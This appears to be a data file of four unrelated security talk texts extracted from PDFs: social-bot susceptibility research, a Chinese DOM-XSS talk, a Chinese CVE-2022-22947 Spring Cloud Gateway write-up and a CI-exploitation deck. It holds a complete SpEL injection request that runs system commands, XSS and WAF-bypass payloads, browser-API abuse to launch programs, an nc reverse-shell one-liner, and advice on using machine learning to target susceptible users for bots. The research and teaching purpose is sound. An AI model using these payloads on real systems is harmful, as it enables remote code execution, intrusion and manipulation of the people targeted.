Research Ethics - http://www.bps.org.uk/sites/default/files/docu ments/code_of_human_research_ethics.pdf “In accordance with Ethics Principle 3: Responsibility of the Code of Ethics and Conduct, psychologists should consider all research from the standpoint of the research participants, with the aim of avoiding potential risks to psychological well-being, mental health, personal values, or dignity.” Slide 98 Limitations • Basic measures of personality • Basic social bot • Each user got a different question • As the experiment progressed, each bot had more followers and interactions and therefore maybe more/less credibility • No user follow up Now there were a number of limitations… We used basic measures of personality (Ten Item Personality Inventory- TIPI & Short Dark Triad – SD3) Our bot’s we pretty basic. Each user got a different question. It may be that certain questions elicit a greater response rate. As the experiment continues, it possible that our bots grew in credibility, or vice versa And finally, we could not determine whether people knew they were interacting with a bot or not. The intent of our work was to have an exploratory investigation into this topic, but future studies will likely need to consider these limitations. Slide 99 Timing ~24 minutes Slide 100 What did we find? So, what did we find… In the section we’ll focus more on the personality traits related to responding, in the following section on machine learning, we’ll look at features (as, a botmaster would likely be looking at features, not personality) Slide 101 Performance 20% We had 124 responses from 610 users, which broke down to Slide 102 Any interaction 124 Follow back 39 Reply/Fav/RT 85 Number Replies 142 Suspensions 1 N = 610 39 follow backs (which, granted, could be auto follow backs) and 85 Reply based interactions. 2 users held the conversation for 9 interactions, and 1 managed 10. Slide 103 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100% Performance @AeroFade Us @AeroFade (the gentleman behind the winning bot from the 2011 competition) had nearly a 40% response rate, where we only achieved ~20%. This could be because @Aerofade’s targets all had a common cat interest, or because they had support bots, or perhaps their bot was more believable. Perhaps future research can investigate different levels of credibility in bots and bot detection. Slide 104 Trolling @User Using no more that 10 nouns, and ONLY nouns, describe yourself @Sybil facetious ** ** annoying @User How do you feel when you say that? Closely linked to ethics is the issue of unintentional trolling (by your social bot). Here’s one interaction…. Slide 105 Trolling @User Cool story bro @Sybil Shut up, I hope you get suspended @User I’m laughing so hard right now ahahaha …and another. Our bot clearly not concerned with imminent account suspension. Slide 106 @User What do you do for a living? @User You’re right, and when you’re right, you’re right! @Sybil You’re a bot aren’t you? @Sybil I plan, guide and help others writing software for administrative organizations, and conceive the software the orgs need “Granny failing Turing Test after 1 exchange!” Tsk Tsk. The singularity is still a fair way off @Sybil …and finally, we got rumbled once too. It could be that we were rumbled immediately and the target was trying to smoke us out with an elaborate reply, or it could be that our target fell for the question and only became aware after our social bot tweeted “You’re right, and when you’re right, you’re right”. Slide 107 Interesting Relationships 25 minutes Slide 108 Extraversion Y N Out of all the personality traits, extraversion played the most important part, although the significance was very small. This could be due to the small personality test we used or that certain aspects of extraversion play a part, aspects which not all extraverts share. Slide 109 Y N Klout score was also statistically significant Slide 110 Friends Y N As was friend count… Slide 111 Followers Y N And follower count. Slide 112 So what? So what?, While twitter attributes look like good candidates for Machine Learning (we’ll get to that in a moment), personality also has implications. Slide 113 eLearning… eLearning is ubiquitous in the corporate environment, but research suggests that learners with higher levels of extraversion perform better when they have greater levels of control over the learning experience. i.e. it’s not a click through exercise. If social media security awareness is proven to be effective, then it’s likely that the effectiveness can be further improved by tailoring learning based on the personality of the learner. For more…. “THE ROLE OF PERSONALITY TRAITS IN WEB BASED EDUCATION” http://www.tojet.net/articles/v7i2/725.pdf Slide 114 Timing ~30 minutes Slide 115 Data Mining & Machine Learning Image courtesy of Flickr, Kaptain Kobold In this section, I’ll introduce the concept of Machine Learning (or Predictive Analytics) with objectives of • Understanding what data really means • Building predictive models • Discovering how features interact Slide 116 Baseline - Spray & Pray TP FP TN Precision = 20.2% N = 610 FN Our baseline performance is roughly 80/20, with a 123 hits and 487 misses. Slide 117 Reduce this bit… TP FP Precision = 20.2% N = 610 TN FN It might be reasonable to suggest that non- responders might get rather frustrated by unsolicited requests, so we can assume that social bot creators want to avoid hitting these people… Slide 118 ….as it might ultimately result in account suspension. Twitter jail. From a machine learning perspective, we want our bots to avoid frustrating the 80% of non-responders (sure, in time bots will do better at engaging them, but for now we focus on low-hanging fruit). Slide 119 TN Perfection TP Precision = 100% N = 610 FP FN Perfect would look like this. With all twitter users in our sample accurately classified. Our goal is really to minimize the False Positives (FP’s) and maximize the True Positives (TP’s.) Slide 120 Aim TP FP TN Goal Precision > 20.2% N = 610 FN This slide is animated. It shows the baseline performance, and then the red (FP) square shrinks to show that our intent is to reduce False Positives. Slide 121 Dr. Randall Wald “At this point we involved our friends at Florida Atlantic University to help work of some models” Slide 122 Data Mining 101 User ID Interacts Klout Friends Alice N 20 46 Bob Y 56 1252 Charles N 12 1109 Class Features One this slide we introduce the basic concepts of an Instance (e.g. the row featuring Alice), a Class (e.g. Interacts) and some features (Klout score, friend count etc). The goal is to use the features to predict the class. Slide 123 Experiments ● Identifying top features – Perform feature ranking with many algorithms – Find features which are consistently at the top ● Building classification models – Use rankers to select top features – Evaluate model performance with different learners, rankers, and number of features Two experiments were designed. One to identify the top features and one to build classification models Slide 124 “We used Weka, which is freely available and has both UI and CLI. The book Data Mining… might also be of interest to you” http://www.cs.waikato.ac.nz/ml/weka/ Slide 125 Top Features: Interacted Dataset Here are the top features… Slide 126 Top Features: Interacted Dataset Klout Score Friends Followers Picking out those which consistently appear in the top 3 or 4, we see Klout score, Friend Count and Follower count (as with the statistically significant results). Slide 127 Top Features: Replied Dataset Now, looking at only the users who replied…. Slide 128 Top Features: Replied Dataset Klout Score % Follow Friday We see that follower/friend count becomes less important, by the %age of tweets reference to Follow Friday or #FF increases. Slide 129 Classification Results: Interacted Dataset We then examined a number of classification models with different numbers of features…. Slide 130 Classification Results: Interacted Dataset AUC 0.68623 TPR 0.61301 TNR 0.70719 We found that the LR learner, using 40 features (with a ROC ranker) obtained the highest Area Under the Curve (AUC) value. The model correctly identified roughly 60% of the people who would interact (That’s the True Positive Rate or TPR) and correctly flagged 70% of users who wouldn’t (The True Negative Rate or TNR). Graphically, this translates to Slide 131 Classification Results: Interacted Dataset -600 -500 -400 -300 -200 -100 0 100 200 87 36 188 299 Precision = 31.6% N = 610 The grey area shows what the baseline performance would have been. We can see the false positives are greatly reduced without removing too many of the false positives. We can reduce the false positives further, but this comes at the expense of further reducing the true positives. So for a bot creator, one strategy is likely to • create a bot, • launch it against a test group, • Apply some analysis & machine learning • Use the results to focus on users most likely to respond to your own bot. Some might argue that we’re giving less scrupulous people some ideas, but it’s almost a certainty that those people are already exploring ideas like this. Slide 132 Classification Results: Replied Dataset ● More challenging than Interacted dataset ● Different models performed well – SVM instead of LR – 50 features instead of 40 ● Demonstrates importance of testing different models/parameters on each dataset AUC 0.68623 TPR 0.61301 TNR 0.70719 0.65810 0.58588 0.73029 Performance changes a little when we focus on users who reply (rather than reply or follow back) Slide 133 Classification Results: Replied Dataset -600 -500 -400 -300 -200 -100 0 100 200 89 34 202 285 Precision = 30.6% N = 610 The performance is still not far from the interacted models. Slide 134 Data Mining Discussion ● Datasets differ despite only having different class values – Different second-place features chosen – Different degrees of classification difficulty, and of optimal settings for classification ● Nonetheless, data mining tools able to help create more complete picture – Bot responders are socially involved individuals Slide 135 Timing 40 minutes Slide 136 Conclusions So, wrapping up. Slide 137 Extraverts at greater risk… Image source: http://www.buzzle.com/articles/extrovert-personality.html People scoring higher in extraversion seem to be more susceptible to interacting with social bots Image source: http://www.buzzle.com/articles/extrovert- personality.html Slide 138 Models could help botmasters find susceptible individuals… Machine learning could help bot masters target susceptible users, or at least reduce False Positives. Slide 139 So what? So what? Firstly, this work is really based on the premise that the days are numbers for the ‘spray & pray’ approach to getting users to engage/interact with a social bot (or indeed a human). i.e. Social Bot creators will need to be less noisy to avoid account suspension. Assuming this, we considered a number of use cases. I’ll highlight (briefly) five of them. Slide 140 #1 #1. Marketeers: Marketeers who are looking to get a higher klout (kred etc) score for their brand might be able to focus on users who are more likely to interact (or engage) with them. This might be a useful strategy for the early stages of building a brand (fake or otherwise), but it could also mean that some users are deluged with far more spam than others. Slide 141 #2 Propagandists #2. AstroTurfers and their ilk: Finding users who are most likely to help propagate your message or at the very least, give credence to the bot account. Slide 142 #3 Social Engineers #3. Social Engineering Assignments: Since the most predictive features (klout score, number of friends/follows) are easily obtained through API calls, this makes it very easy to build/model in Maltego. Here we can see @Alice’s imaginary Twitter friends. A simple Maltego local-transform could be used to flag users who are more likely to engage in conversation, which might prove use for Social Engineers looking for weaker points in a social graph. E.g. You know the Twitter accounts of users in AcmeCorp and want to highlight the ones who maybe most likely to talk to you. The red icons are the users to focus on. Slide 143 All of these have privacy implications, so how might social network providers and their users respond? All of these have privacy implications, so how might social network providers and their users respond? Slide 144 #4 Useable Security #4 Social Network Providers: Knowing more about how different users behave may help in the design of usable security controls on Social Network platforms, warning users when they might be getting “gamed”. Slide 145 “ It looks like you’re sending a Tweet ” Although hopefully not quite like this… Slide 146 #5 Training : (as previously mentioned) this work suggests that differing human behaviour/personality traits need to be considered in the creation/execution of training material. This isn’t to say training is ineffective, but it does say that it’s reasonable to hypothesize that current corporate training isn’t tailored to the people who need it the most (those higher in extraversion). It may also be possible for users to become more self-aware. E.g. Am I extroverted? If I am, then maybe I need to check who I’m interacting with, with a little more rigour. For more…. “THE ROLE OF PERSONALITY TRAITS IN WEB BASED EDUCATION” http://www.tojet.net/articles/v7i2/725.pdf Slide 147 Future Research Opportunities • Likely focus on more detailed Big 5 factors In terms of future research opportunities… A greater focus on more detailed Big 5 Factors, perhaps using BFI (Big Five Inventory) rather than TIPI (Ten Item Personality Inventory). BFI- http://www.ocf.berkeley.edu/~johnlab/bfi.htm TIPI- http://homepage.psy.utexas.edu/homepage/fa culty/gosling/scales_we.htm#Ten%20Item%20 Personality%20Measure%20%28TIPI%29 Slide 148 Future Research Opportunities • Likely focus on more detailed Big 5 factors • Impulsivity (e.g. Cognitive Reflective Test) It may also be that Impulsivity plays a part in responses to social bots, so perhaps the Cognitive Reflective Test would reveal more. CRT - http://www.sjdm.org/dmidi/Cognitive_Reflecti on_Test.html Slide 149 Cognitive Reflective Test A bat and a ball cost $1.10 in total. The bat costs $1.00 more than the ball. How much does the ball cost? http://www.sjdm.org/dmidi/Cognitive_Reflecti on_Test.html Cognitive Reflection Test (CRT) Frederick, S. (2005). Cognitive reflection and decision making. Journal of Economic Perspectives, 19(4), 25-42. doi: 10.1257/089533005775196732 The measure: Frederick (2005) CRT.doc Slide 150 Future Research Opportunities • Likely focus on more detailed Big 5 factors • Cognitive Reflective Test (or other measures of impulsivity) • Target-centric approach. And finally, perhaps focus on target-centric approach. i.e. bots need to engage the target on a topic the target is interested in. Bot needs to “fit in” to the group. Slide 151 It’s not all bad though…Intelligent Agents can be used for positive actions two. For example, a popular dating site, besieged with dating bots, deployed its own bots and now has a subsection of its site where bots flirt with other bots. “So how should we handle bots? OKCupid is a dating website that does a great job of this. For obvious reasons a dating website is an ideal place for spammers, but deleting fake accounts only trains them and they quickly come back stronger. To tackle this, OKCupid actually created their own bots and put them in a ‘secondary world’. Instead of deleting other bots, they move them into this world where the bots start having conversations with each other – albeit rather strange ones.” Source: http://oursocialtimes.com/7-of-twitter- users-are-not-human/ (Talk from Lutz Finger) http://lutzfinger.com/ Then more recently in the New York Times. This.. “Dating sites provide especially fertile ground for social bots. Swindlers routinely seek to dupe lonely people into sending money to fictitious suitors or to lure viewers toward pay- for-service pornography pages. Christian Rudder, a co-founder and general manager of OkCupid, said that when his dating site recently bought and redesigned a smaller site, they witnessed not just a sharp decline in bots, but also a sudden 15 percent drop in use of the new site by real people. This decrease in traffic occurred, he maintains, because the flirtatious messages and automated “likes” that bots had been posting to members’ pages had imbued the former site with a false sense of intimacy and activity. “Love was in the air,” Mr. Rudder said. “Robot love.” Mr. Rudder added that his programmers are seeking to design their own bots that will flirt with invader bots, courting them into a special room, “a purgatory of sorts,” to talk to one another rather than fooling the humans” Source: http://www.nytimes.com/2013/08/11/sunday- review/i-flirt-and-tweet-follow-me-at- socialbot.html?pagewanted=all&_r=0 Slide 152 “Illustrations from the Turing Test and Blade Runner suggest that sufficient interactivity with a computer should reveal that it is not human.” Temmingh & Geer’s 2009 It’s fitting that we end with Temmingh & Geer’s 2009 paper for the current best defenses for users… “For the foreseeable future, individual Web users must improve their own ability to evaluate threats emanating from cyberspace [9]. In most cases, the key is credibility. Illustrations from the Turing Test and Blade Runner suggest that sufficient interactivity with a computer should reveal that it is not human.” Slide 153 The End… For questions and/or feedback, please contact [email protected] Slide 154 In the news… • Forbes: The Type Of People Who Get Suckered By A Twitter Bot (7th August 2013) • NY Times: I Flirt and Tweet. Follow Me at #Socialbot (10th August 2013) The Forbes article covers this study http://www.forbes.com/sites/kashmirhill/2013 /08/07/the-type-of-people-most-likely-to-get- suckered-by-a-twitter-bot/ The New York Times article covers many of the issues raised in this study and is a nice, timely piece. http://www.nytimes.com/2013/08/11/sunday- review/i-flirt-and-tweet-follow-me-at- socialbot.html?pagewanted=all Alan Turing and Security, Exploiting Innovative Thinking www.wired.com/insights/2013/08/alan-turing- on-security-and-exploiting-innovative-thinking/ Slide 155 45 minutes Slide 156 TP FP TN Precision = 20.2% N = 610 FN Brief notes on Precision . Slide 157 TP FP TN Precision = 20.2% N = 610 FN Retrieved NOT Retrieved Slide 158 TP FP TN Precision = 20.2% N = 610 FN The fraction of retrieved instances that were correct Retrieved Alan Turing and Security, Exploiting Innovative Thinking www.wired.com/insights/2013/08/alan-turing-on-security-and-exploiting-innovative-thinking/	pdf
DOM-XSS 漏洞的挖掘与攻击面延伸陈思涛北京长亭科技有限公司深圳分公司Web安全研究员目录 DOM-XSS 挖掘与利用 DOM-XSS 常见位置 DOM-XSS 优势在哪 XSS 巧妙利用 DOM-XSS常见位置 DOM-XSS 常见位置 1、URL代入页面这类DOM-XSS是最常见的，它的漏洞点通常是以下形式出现 DOM-XSS 常见位置它出现的地方比较多，可能会是名称，地点，标题等等。大多数情况下它和反射型XSS的区别不大，最大的区别是取的值不同。此时取值时，匹配的URL是location.href，这个值包含了 location.search 和 location.hash 的值，而 location.hash 的值是不被传到服务器，并且能被前端 JS通过 getUrlParam 函数成功取值。 DOM-XSS 常见位置 2、跳转在 javascript 语法中，使用如下代码可以将页面进行跳转操作 DOM-XSS 常见位置这样的跳转通常会出现在登录页、退出页、中间页。如果开发者让用户可以控制 redirecturl 参数，就可以使用 javascript:alert(1) 的形式进行XSS攻击。最近几年的APP开发比较热门，通过web唤起APP的操作也是越来越多，跳转的协议也是多种多样，例如 webview:// , myappbridge://等等。仅仅使用 http 和 https 来判断URL是否合法已经不适用了，于是由跳转所产生的 DOM-XSS漏洞也逐渐增多。 3、postMessage DOM-XSS 常见位置 postMessage 支持跨域使用，使用场景比较广泛，如支付成功、登录、退出、唤起 APP等等。这段代码中，监听了message事件，取了 e.data 的值，也就是来自于其他页面上的message消息，但是没有检测来源。如果页面允许被嵌套，即可嵌套该页面，再使用 window[0].postMessage 即可向该窗口发送数据。 DOM-XSS 常见位置 DOM-XSS 常见位置 4、window.name window.name 与其他 window 对象不同，它在窗口刷新后会保留。当这个页面刷新跳转到其他网站时，如果这个网站没有对 window.name 进行设置，那么当前 window.name的值仍然是Foo DOM-XSS 常见位置 5、缓存开发者在缓存前端数据的时候，通常会存在 sessionStorage , localStorage , cookie 中，因为 sessionStorage 在页面刷新时就失效的特性，利用方式相对简单的只有后面两种。 DOM-XSS 常见位置 Cookie 根据浏览器的同源策略，Cookie是可以被子域名读到的。一旦我们发现在 http://example.com/setCookie.php?key=username&value=nick 下可以设置Cookie, 就可以结合一些读取Cookie的页面进行XSS攻击。 DOM-XSS 常见位置 localStorage localStorage 的特性和Cookie类似，但它和Cookie不同的是，Cookie被设置过之后，具有有效期这个特性，而localStorage被设置过后，只要不手动清除或覆盖，这个值永远不会消失。 Cookie中通常会存放少量的缓存信息，像用户的头像URL，用户名等等，而localStorage 中通常会存放一些大量，需要重复加载的数据，如搜索历史记录，缓存JS代码等等。这些值被修改过以后，大部分开发者都不会去校验它的合法性，是否被修改过。 DOM-XSS 优势在哪 DOM-XSS 优势在哪避开WAF 正如我们开头讲的第一种DOM-XSS，可以通过 location.hash 的方式，将参数写在 # 号后，既能让JS读取到该参数，又不让该参数传入到服务器，从而避免了WAF的检测。可以使用 ja%0avasc%0aript:alert(1) , j\x61vascript:alert(1) 的形式绕过。可以利用 postMessage,window.name,localStorage 等攻击点进行XSS攻击的，攻击代码不会经过WAF。 DOM-XSS 优势在哪长度不限当我们可以用当前页面的变量名作为参数时，可以使用 <iframe src="http://example.com/?poc=name"> 的方式进行攻击。 DOM-XSS 优势在哪隐蔽性强攻击代码可以具有隐蔽性，持久性。例如使用Cookie和localStorage作为攻击点的DOM-XSS，非常难以察觉，且持续的时间长。 XSS 巧妙利用 Chrome Api chromium支持开发者扩展api。厂商在开发浏览器的时候，或是为了自己的业务需求，或是出于用户体验，会给浏览器扩展上一些自己的接口，这些接口比较隐蔽，且只接口来自于信任域名的数据。但是如果有一个特殊域名下的XSS，或者这个特殊域名可以被跨域，甚至可以找任意一个当前域名的XSS对它进行攻击。遍历chrome对象通过以下代码就可以对当前页面下的 chrome 对象进行遍历。 XSS IN BROWSER 有一款浏览器，它的接口特别丰富，现在给大家分享以下之前的调试过程。案例一首先从业务入手，找到了一个叫做game.html的页面，观察到页面上大部分是游戏，使用了上面的代码对chrome对象进行遍历之后，发现了browser_game_api的对象，这个继续遍历这个api，看它有哪些变量、函数和对象。 Download And Run 这时候发现了一个函数叫做 downloadAndRun ，从函数名来看，这个函数执行的操作是比较危险的。那么这些函数的参数是什么的，暂时不知道，就需要从这个特殊域名下面的页面中去找。根据函数名搜索，很快就找到了这个函数调用的地方。于是构造攻击代码：跨域调用又因为这个站点将自己的 domain 设置成了 example.com ，于是我们可以通过其他 exmaple.com 下的XSS来调用它页面下的接口。利用: 首先发现了 https://exmaple.com/ 下的一个XSS，利用XSS将当前页面的 document.domain 设置为 example.com ，这样它就和 game.html 同域了。 Run Putty 接下来在XSS页面执行以下代码，即可在新的窗口弹出 putty.exe 。案例二继续遍历Api，又发现了一个特殊的接口，用于设置用户的偏好，其中就包含设置下载目录。 Start Up 于是想到了另一种攻击方式，就是通过调用它自带的设置偏好接口，将用户的下载目录设置为window的启动目录 C:\\Users\\User\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup Set Download Path 同样的，找到一个 exmaple.com 下的XSS，将自身的 domain 设置成 exmaple.com ，再使用 window.opener 的方式，调用特殊权限页面的接口进行攻击。案例三早在2014年12月12日，Rapid7报告了一个漏洞。利用浏览器的UXSS实现在 Android 4.3 或更低版本的系统上安装任意APP。利用三部曲第一点：使用了UXSS作为攻击手段，在 play.google.com 下调用安装APP的代码。利用三部曲第二点：利用了 play.google.com 的可被嵌套的缺陷。我们知道在Android上是没有 window.opener 这个属性的，不能通过 window.open 一个窗口再调用它的函数。还有一种利用的方式是通过 iframe 对它进行调用。利用三部曲第三点： play.google.com 的安装机制，是在用户登录了浏览器之后就可以唤起 Google Play 进行安装。 Install package 来看一下完整的攻击流程首先攻击者注册成为Google开发者，在应用市场上发布了一款叫做 backdoor_app的应用。接着将play.google.com嵌套至攻击页面中，利用UXSS调用安装代码。谷歌市场启动，在后台进行安装应用。总结随着浏览器的使用范围越来越广，我们相信无论是反射型、存储型还是DOM-XSS，都是不容小觑的。作为开发者，我们要防御的不仅仅是来自于（任何输入点），有些时候，来源于自己的站点的数据也要加入防御列表。谢谢！	pdf
CVE-2022-22947 SpringCloud GateWay SPEL RCE echo response 环境 git clone https://github.com/spring-cloud/spring-cloud-gateway cd spring-cloud-gateway git checkout v3.1.0 审计看diff https://github.com/spring-cloud/spring-cloud- gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用 GatewayEvaluationContext替换了StandardEvaluationContext来执行spel表达式回溯执行点说明是个spel表达式的rce，向上回溯找到 org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType枚举找到四个地方都在ShortcutConfigurable接口类里，分布在ShortcutType的三个枚举值，见上图圈起来的部分。三个枚举值都重写了 org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize函数在ShortcutConfigurable接口类中有一个虚拟拓展方法shortcutType()，用到的是 ShortcutType.DEFAULT枚举。继续向上查找shortcutType()函数的引用到 org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normaliz eProperties 这个normalizeProperties()是对filter的属性进行解析，会将filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。正向看filter 根据文档https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html 来看，用户可以通过actuator在网关中创建和删除路由。路由格式在idea中通过actuator的mapping功能找到controller 然后看RouteDefinition 其中FilterDefinition类需要有一个name和args键值对。而name在创建路由的时候进行了校验 name需要和已有的filter相匹配动态调试看一下已有的name 那么到这里利用已经呼之欲出了复现先创建路由，filter中填充spel表达式，然后refresh执行。 name用到了RewritePath，对应的是 org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory#apply 需要注意的是这里args中键名要填充replacement属性，不然会报空指针然后refresh rce 堆栈如下 getValue:251, SpelExpression (org.springframework.expression.spel.standard) getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) apply:-1, 150385835 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$874) onNext:106, FluxMap$MapSubscriber (reactor.core.publisher) tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher) onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher) drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeWith:4515, Mono (reactor.core.publisher) subscribe:4371, Mono (reactor.core.publisher) subscribe:4307, Mono (reactor.core.publisher) subscribe:4279, Mono (reactor.core.publisher) onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event) invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event) multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event) publishEvent:421, AbstractApplicationContext (org.springframework.context.support) publishEvent:378, AbstractApplicationContext (org.springframework.context.support) refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate) ...省略... 如何回显上述文章知，通过getValue()函数可以讲args的value执行spel表达式，并且保存为properties，那么properties在哪里可以返回给我们的http response呢？在 org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#ap ply 中，将config的键值对添加到header中那么可以用AddResponseHeader来构造请求包 POST /actuator/gateway/routes/test1 HTTP/1.1 Host: 172.16.16.1:8081 Content-Length: 300 Content-Type: application/json Connection: close { "id": "test1", "filters": [ { "name": "AddResponseHeader", "args": { "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.R untime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}", "name": "cmd123" } } ], "uri": "http://aaa.com", "order": 0 } 在构造这个请求包的时候遇到了几个问题，第一个是我构造的时候没有传uri和order，爆空指针异常。然后多次调试后发现在 org.springframework.cloud.gateway.route.Route#async(org.springframework.cloud.gateway.rout e.RouteDefinition)函数中对routeDefinition参数进行了处理，所以必须要有uri和order。 uri还必须是一个正确的url才行。第二个问题是value必须是一个String类型，否则在bind的时候会报类型不匹配异常。因为 AddResponseHeaderGatewayFilterFactory采用的配置是NameValueConfig实例，而value是string 类型。最后回显效果如图最后删除自己创建的路由 DELETE /actuator/gateway/routes/test1 HTTP/1.1 Host: 172.16.16.1:8081 Connection: close 写在文后这个漏洞是用codeql挖出来的，这个东西真得学一学了。最后感慨一下，我中午吃饭前刚想出来用AddResponseHeader回显，吃完饭p牛就发了vulhub环境加poc。夫破人之与破于人也，臣人之与臣于人也，岂可同日而言之哉？	pdf
Exploiting Continuous Integration (CI) and Automated Build Systems And introducing CIDER Whoami • SpaceB0x • Sr.+Security+Engineer+at+LeanKit • Application+and+network+security+(offense+and+defense) • I+like+breaking+in+to+systems,+building+systems,+and+learning • Security+consultant ./agenda.sh • Overview+of+Continuous+Integration+concepts • Tools+ • Build+Chain+and+Configuration+problems • Real+world+exploit+#1+ • Common+deployment+bad-practices • Real+world+exploit+#2+– Attacking+the+CI+provider • Introduce+CIDER Continuous1Integration1 Continuous1Integration1(CI) • Quick+iterative+release+of+code+to+production+servers • Goal:+Many+deployment+iterations+per+day+or+week • Tend+to+be+repository+centric • In+sync+with+Automated+Build+chains • For+infrastructure/servers/subnets+as+well+as+code+ Microservices • Just+abstraction • Breaking+down+large+app+into+small+decoupled+components • Do+1+or+2+things+really+well • Developed+Autonomously+ Security1Implications • Good+- Frequent+release+cycles+are+fabulous! • Good+- Faster+code+deployments+=+quick+remediation • Good+– Reduced+single+points+of+failure • Good+- Compromise+of+one+service+doesn’t+(always)+mean+full+pwnage Security1Implications • Good+- Frequent+release+cycles+are+fabulous! • Good+- Faster+code+deployments+=+quick+remediation • Good+- Decoupled+systems+reduced+single+points+of+failure • Good+- Compromise+of+one+service+doesn’t+(always)+mean+full+pwnage • Bad+- Fast+release+sometimes+means+hasty+oversights • Bad+- Automated+Deployment+systems+are+checked+less+than+the+code+ that+they+deploy+ • Bad+– Identity+management Tools Build1Systems • Take+code+and+build+conditionally • Typically+in+a+quasi+containerized+type+of+environment • Both+local+and+cloud+based+are+popular • Vendor: ØTravis-CI ØCircle-CI ØDrone ØTeamCity ØBuildKite Build1Systems • Take+code+and+build+conditionally • Typically+in+a+quasi+containerized+type+of+environment • Both+local+and+cloud+based+are+popular • Vendor: ØTravis-CI ØCircle-CI ØDrone ØTeamCity ØBuildKite Deployment1Systems • Deploy+the+code+after+build • Heading+more+and+more+toward+container+driven • Vendors ØJenkins ØOctopus+Deploy ØKubernetes ØRancher ØMesosphere Chains1of1Deployment Chains1of1Deployment Chains1of deployment Configuration1Exposure Problems1with1SDLC1trends • Code+build+before+merging • Builds+triggered+from+PRs,+commits,+etc. • Repos+hold+downstream+instructions • Build+configurations+normally+in+root+of+repo Vulnerabilities1are1in1Misconfiguration • Creative+configuration+exploitation • Vuln stacking+at+it’s+finest • Each+individual+service+may+be+functioning+exactly+as+intended • Interaction+between+services+is+where+many+vulnerabilities+lie External1Repos • Most+volatile+attack+surface • Public+repositories+which+map+to+internal+build+services Attacking1Build1Servers- 31main1ways • Pre/Post+Commands • Image+Specification • Test+builds Real1World1Hax #1 mknod /tmp/backpipe p mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe\|nc x.x.x.x 4444 1>/tmp/backpipe mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe\|nc x.x.x.x 4444 1>/tmp/backpipe nc –l 4444 root So1many1questions…. •Who+is+aware+of+this? •What+are+the+implications? •Attack+surface? Existing1pwnage • @claudijd and+RottenApple • Framework+for+exploiting+CI+(Jenkins)+via+Ruby+code+builds • Audit+framework,+as+well+as+attack+surface • <crickets> • I’ll+keep+poking+around Who1Cares? • Cloud+Based • Clog+up+deployment+chain+by+filling+build+queues • Cloud+Based • Clog+up+deployment+chain+by+filling+build+queues • Build+Bot-Net+and+launch+DoS?+Yes+please? • Cloud+Based • Clog+up+deployment+chain+by+filling+build+queues • Build+Bot-Net+and+launch+DoS?+Yes+please? • Mine+Etherium lulz • Cloud+Based • Clog+up+deployment+chain+by+filling+build+queues • Build+Bot-Net+and+launch+DoS?+Yes+please+? • Mine+Etherium lulz • On-Prem/Self-Hosted • Take+over+a+network • Cloud+Based • Clog+up+deployment+chain+by+filling+build+queues • Build+Bot-Net+and+launch+DoS?+Yes+please+? • Mine+Etherium lulz • On-Prem/Self-Hosted • Take+over+a+network • Alter+source+repositories • Cloud+Based • Clog+up+deployment+chain+by+filling+build+queues • Build+Bot-Net+and+launch+DoS?+Yes+please+? • Mine+Etherium lulz • On-Prem/Self-Hosted • Take+over+a+network • Alter+source+repositories • Alter+downstream+production+deployments Bad-Practices1for1Hosted1Services Environment1Vars • Being+used+to+store+credentials • Storing+metadata+for+other+services+within+micro-service+ infrastructure • THIS+IS+HOW+WE+PIVOT Run1everything1as1root • Just+a+container,+right+guyz? • You+now+have+internal+network+access • Full+control+to+build+augment+the+image 